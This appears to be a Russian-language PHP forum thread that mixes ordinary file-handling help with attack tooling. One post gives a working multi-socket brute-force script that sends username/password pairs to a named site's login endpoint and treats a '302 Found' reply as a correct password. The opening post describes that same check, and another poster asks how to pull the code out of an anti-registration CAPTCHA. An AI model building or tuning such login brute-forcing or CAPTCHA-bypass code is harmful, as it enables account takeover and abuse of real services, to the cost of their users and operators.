Если логин или пасс неверен, то в заголовке не выдаётся Location: map.php Можно вообще парсить первую строку ответа сервера: Пасс и логин верны: HTTP/1.x 302 Found Пасс и логин неверны: HTTP/1.x 200 OK
Нашёл скрипт для защиты от авторегистрации. Картинку с кодом выводит, а как сделать так, чтобы извлечь сам код не знаю. Может кто подскажет? PHP: <?php // старт сессии session_start(); // заголовок header("Content-type: image/png; charset=windows-1251;"); // создание изображения $img = imagecreate(120,60); // генерация цвета фона $ren_r = rand(190,255); $ren_g = rand(190,255); $ren_b = rand(190,255); // настройка цвета фона $slfon = ImageColorAllocate($img, $ren_r, $ren_g, $ren_b); //-------------------------------- ШУМЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< // начальное значение циклов $i = 1; // включение шумов $ellipse = 1; $rectang = 1; $line = 1; $pix = 1; /* Шум из элипсов */ if($ellipse) { $varelp = rand(5,50); while(++$i <= $varelp) { $ren_left = rand(0,150); $ren_top = rand(0,60); $ren_x_rad = rand(0,150); $ren_y_rad = rand(0,60); // генирация цвета фона $ren_elp_r = rand(150,225); $ren_elp_g = rand(150,225); $ren_elp_b = rand(150,225); // настройка цвета фона $elp = ImageColorAllocate($img, $ren_elp_r, $ren_elp_g, $ren_elp_b); imageellipse ($img, $ren_left, $ren_top, $ren_x_rad, $ren_y_rad, $elp); } } /* Шум из прямоугольников */ if($rectang) { $varrect = rand(5,50); while(++$i <= $varrect) { $ren_x1_rect = rand(0,120); $ren_y1_rect = rand(0,60); $ren_x2_rect = rand(0,120); $ren_y2_rect = rand(0,60); // генирация цвета фона $ren_rect_r = rand(150,225); $ren_rect_g = rand(150,225); $ren_rect_b = rand(150,225); // настройка цвета фона $rect = ImageColorAllocate($img, $ren_rect_r, $ren_rect_g, $ren_rect_b); imagerectangle ($img, $ren_x1_rect, $ren_y1_rect, $ren_x2_rect, $ren_y2_rect, $rect); } } /* Шум из линий */ if($line) { $varline = rand(0,50); while(++$i <= $varline) { $line_x1 = rand(0,120); $line_y1 = rand(0,60); $line_x2 = rand(0,120); $line_y2 = rand(0,60); // генирация цвета линий $ren_line_r = rand(0,200); $ren_line_g = rand(0,200); $ren_line_b = rand(0,200); // настройка цвета линий $line_c = ImageColorAllocate($img, $ren_line_r, $ren_line_g, $ren_line_b); // настройка цвета линий imageline ($img, $line_x1, $line_y1, $line_x2, $line_y2, $line_c); } } /* Шум из пикселей */ if($pix) { $varpix = rand(10,150); while(++$i <= $varpix) { $pix_x = rand(0,120); $pix_y = rand(0,60); // генирация цвета линий $ren_pix_r = rand(0,255); $ren_pix_g = rand(0,255); $ren_pix_b = rand(0,255); // настройка цвета линий $pix_c = ImageColorAllocate($img, $ren_pix_r, $ren_pix_g, $ren_pix_b); ImageSetPixel($img, $pix_x, $pix_y, $pix_c); } } //-------------------------------- ЦИФРЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< // генерация чисел на изображении $ren_c1 = rand(0,9); $ren_c2 = rand(0,9); $ren_c3 = rand(0,9); $ren_c4 = rand(0,9); $ren_c5 = rand(0,9); // массив из цифр $code_mass = array($ren_c1,$ren_c2,$ren_c3,$ren_c4,$ren_c5); // формирование числа $code = implode("", $code_mass); // запись числа в сессию $_SESSION['imgcode'] = $code; // отпуск от левого края, слова $ren_xp = rand(0,5); // расстояние между буквами $ras_bukv = 21; // случайный размер букв $ot_fs = 25; $do_fs = 30; // случайная положение y слова $yb_ot = 20; $yb_do = 60; // генерация цвета текста 1 $ren_r_с1 = rand(0,150); $ren_g_с1 = rand(0,150); $ren_b_с1 = rand(0,150); // генерация цвета текста 2 $ren_r_с2 = rand(0,150); $ren_g_с2 = rand(0,150); $ren_b_с2 = rand(0,150); // генерация цвета текста 3 $ren_r_с3 = rand(0,150); $ren_g_с3 = rand(0,150); $ren_b_с3 = rand(0,150); // генерация цвета текста 4 $ren_r_с4 = rand(0,150); $ren_g_с4 = rand(0,150); $ren_b_с4 = rand(0,150); // генерация цвета текста 5 $ren_r_с5 = rand(0,150); $ren_g_с5 = rand(0,150); $ren_b_с5 = rand(0,150); // настройка цвета текста $c1 = imagecolorallocate ($img, $ren_r_с1, $ren_g_с1, $ren_b_с1); $c2 = imagecolorallocate ($img, $ren_r_с2, $ren_g_с2, $ren_b_с2); $c3 = imagecolorallocate ($img, $ren_r_с3, $ren_g_с3, $ren_b_с3); $c4 = imagecolorallocate ($img, $ren_r_с4, $ren_g_с4, $ren_b_с4); $c5 = imagecolorallocate ($img, $ren_r_с5, $ren_g_с5, $ren_b_с5); // случайный поворот букв $ren_turn1 = rand(-35,35); $ren_turn2 = rand(-35,35); $ren_turn3 = rand(-35,35); $ren_turn4 = rand(-35,35); $ren_turn5 = rand(-35,35); // случайная положение y буквы $ren_ht1 = rand($yb_ot,$yb_do); $ren_ht2 = rand($yb_ot,$yb_do); $ren_ht3 = rand($yb_ot,$yb_do); $ren_ht4 = rand($yb_ot,$yb_do); $ren_ht5 = rand($yb_ot,$yb_do); // случайная положение x буквы $ren_x1 = rand(0 + $ren_xp,$ras_bukv + $ren_xp); $ren_x2 = rand($ras_bukv + $ren_xp,$ras_bukv*2 + $ren_xp); $ren_x3 = rand($ras_bukv*2 + $ren_xp,$ras_bukv*3 + $ren_xp); $ren_x4 = rand($ras_bukv*3 + $ren_xp,$ras_bukv*4 + $ren_xp); $ren_x5 = rand($ras_bukv*4 + $ren_xp,$ras_bukv*5 + $ren_xp); // случайная размер буквы $ren_fase1 = rand($ot_fs,$do_fs); $ren_fase2 = rand($ot_fs,$do_fs); $ren_fase3 = rand($ot_fs,$do_fs); $ren_fase4 = rand($ot_fs,$do_fs); $ren_fase5 = rand($ot_fs,$do_fs); // массив со шрифтами $fonts = array('ARS','BETINA','BRUSHSCR','BASKR_LI'); $sf = count($fonts); $sf = $sf - 1; // случайный шрифт 1 $ren_fc1 = rand(0,$sf); $ren_font1 = $fonts[$ren_fc1] . ".ttf"; // случайный шрифт 2 $ren_fc2 = rand(0,$sf); $ren_font2 = $fonts[$ren_fc2] . ".ttf"; // случайный шрифт 3 $ren_fc3 = rand(0,$sf); $ren_font3 = $fonts[$ren_fc3] . ".ttf"; // случайный шрифт 4 $ren_fc4 = rand(0,$sf); $ren_font4 = $fonts[$ren_fc4] . ".ttf"; // случайный шрифт 5 $ren_fc5 = rand(0,$sf); $ren_font5 = $fonts[$ren_fc5] . ".ttf"; // настройка цифры 1 imagettftext ($img, $ren_fase1, $ren_turn1, $ren_x1, $ren_ht1, $c1, $ren_font1, $ren_c1); // настройка цифры 2 imagettftext ($img, $ren_fase2, $ren_turn2, $ren_x2, $ren_ht2, $c2, $ren_font2, $ren_c2); // настройка цифры 3 imagettftext ($img, $ren_fase3, $ren_turn3, $ren_x3, $ren_ht3, $c3, $ren_font3, $ren_c3); // настройка цифры 4 imagettftext ($img, $ren_fase4, $ren_turn4, $ren_x4, $ren_ht4, $c4, $ren_font4, $ren_c4); // настройка цифры 5 imagettftext ($img, $ren_fase5, $ren_turn5, $ren_x5, $ren_ht5, $c5, $ren_font5, $ren_c5); //--------------------------- ВЫВОД ИЗОБРАЖЕНИЯ -----<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ImageFill($img, 0, 0, $slfon); Imagepng($img); // разрушение изображения ImageDestroy($img); ?>
"симулирую" многопоточный брут PHP: <?php $max_threads = 5;//Максимальное количество потоков set_time_limit(320); // Лимит времени на выполнение. $get_array[0] = "freetest";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа. $get_array[1] = "krakem";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа. $get_array[2] = "ucoz";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа. $get_array[3] = "rucoz"; $get_array_name[0]="ANTICHAT"; $get_array_name[1]="passwqw"; $get_array_name[2]="453wccw91"; $get_array_name[3]="ne2tpass123"; echo("Всего запросов: " . count($get_array) . "<BR> Поехали! <BR>"); $sockets = array(); //В этом массиве находятся открытые сокеты $done = false;// Флаг $done используется для остановки скрипта после выполнения работы $curr = 0; // $curr - будет текущим элементом из всего массива запросов while (!$done) { while (($max_threads > count($sockets)) && ($curr < count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов { $packet.="POST /enter.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Language: ru\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: web.tak.ru\r\n"; $packet.="Content-Length: 52\r\n"; $packet.="Pragma: no-cache\r\n"; $packet.="Connection: Keep-Alive\r\n\r\n"; $packet.="login=$get_array[$curr]&password=$get_array_name[$curr]&Submit=++OK++&z=enter_form"; $errno = 0; $error = ""; $sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет stream_set_blocking($sockets[$curr], 0); stream_set_timeout($sockets[$curr], 3600); fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос echo("Создан сокет: " . $curr . "<br>"); $curr = $curr + 1;// Переходим к следующему элементу массива } sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду foreach($sockets as $key => $val) { $temp[$key] = fgets($sockets[$key]); // Получаем данные из текущего сокета [ данных может и не быть ] ///echo("Прочитали данные из сокета: " . $key . "<br><textarea>");// Для удобства я поместил их в теги <textarea> ///echo($temp . "</textarea><p>"); if (feof($sockets[$key]))// Если данные закончилисть { unset($sockets[$key]); //то удаляем отработавший сокет из массива echo("Удален сокет: " . $key . "<br>"); } } echo("Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>"); // если нет активных сокетов, то можно выходить if (count($sockets) == 0) $done = true; } for ($i=0;$i<5;$i++) { if ((strpos($temp[$i],"302 Found"))>0) echo " $get_array[$i] $get_array_name[$i]-- Пароль правильный"; else echo " $get_array[$i] $get_array_name[$i]--Не правильный пароль "; } echo("Конец"); ?> нипойму почему не работает...и скорость почему такая
скрипт PHP: <?php $f_file=file("logins.txt"); $f_true[0]="fdrucoz"; echo $f_file[0]." Проверка ".$f_true[0]."<br>"; if ($f_true[0]==$f_file[0]) echo "Они равны"; else echo "Не равны"; ?> файл logins.txt Code: fdrucoz fdrucoz1243 fdrucoz3223 запускаю пишет Code: fdrucoz Проверка fdrucoz Не равны Это как так может быть?
PHP: <?php $f_file=file("logins.txt"); $f_true[0]="fdrucoz"; for($i=0,$cnt=count($f_file);$i<$cnt;$i++) { $f_file[$i]=trim($f_file[$i]); } echo $f_file[0]." Проверка ".$f_true[0]."<br>"; if ($f_true[0]==$f_file[0]) echo "Они равны"; else echo "Не равны"; ?> Функция file() оставляет символы перевода каретки/новой строки в конце каждой переменной.
помогите со скриптом, который удалял бы в текстовом файле лишнее после второго - | тоисть так допустим есть: слово1|слово2|слово3 слово1|слово2|слово3|слово4 а нужно чтобы остались только два слова: слово1|слово2 а все лишнее отсекалось
bomber, PHP: $fp = fopen('file', 'r'); $w = fopen('file_result', 'w'); while(!feof($fp)){ list($a, $b) = explode('|', $str); fwrite($w, "$a|$b\n"); } fclose($fp); fclose($w);
Nightmarе, PHP: preg_match('/(\w+\:\w+\:\w+\:\w+\:\w+\:\w+)/', exec("ifconfig | grep 'HWaddr'"), $out); echo $out[1];
2GreenBear fread|fgets забыл PHP: <?php $fp = fopen('file.txt', 'r'); $w = fopen('file_result.txt', 'a+'); while(!feof($fp)) { $str = fgets ($fp, 1024); list($a, $b) = explode('|', $str); fwrite($w, $a."|".$b."\n"); } fclose($fp); fclose($w); ?>
function_exists('exec') ? print 'ok' : print 'fail'; что выведет? в ней ведь и так пишется мак . не проще его сразу регуляркой вырезать?
чет неидет получается бесконечный процеес, где идет постоянная запись символа - | по одному на каждую строчку без $a и $b после из 300kb вышло - 6mb
PHP: <?php $fp = fopen('file.txt', 'r'); $w = fopen('file_result.txt', 'a+'); while(!feof($fp)) { $str = fgets ($fp, 1024); if (trim($str) != '') { list($a, $b) = explode('|', $str); fwrite($w, $a."|".$b."\n"); } } fclose($fp); fclose($w); ?>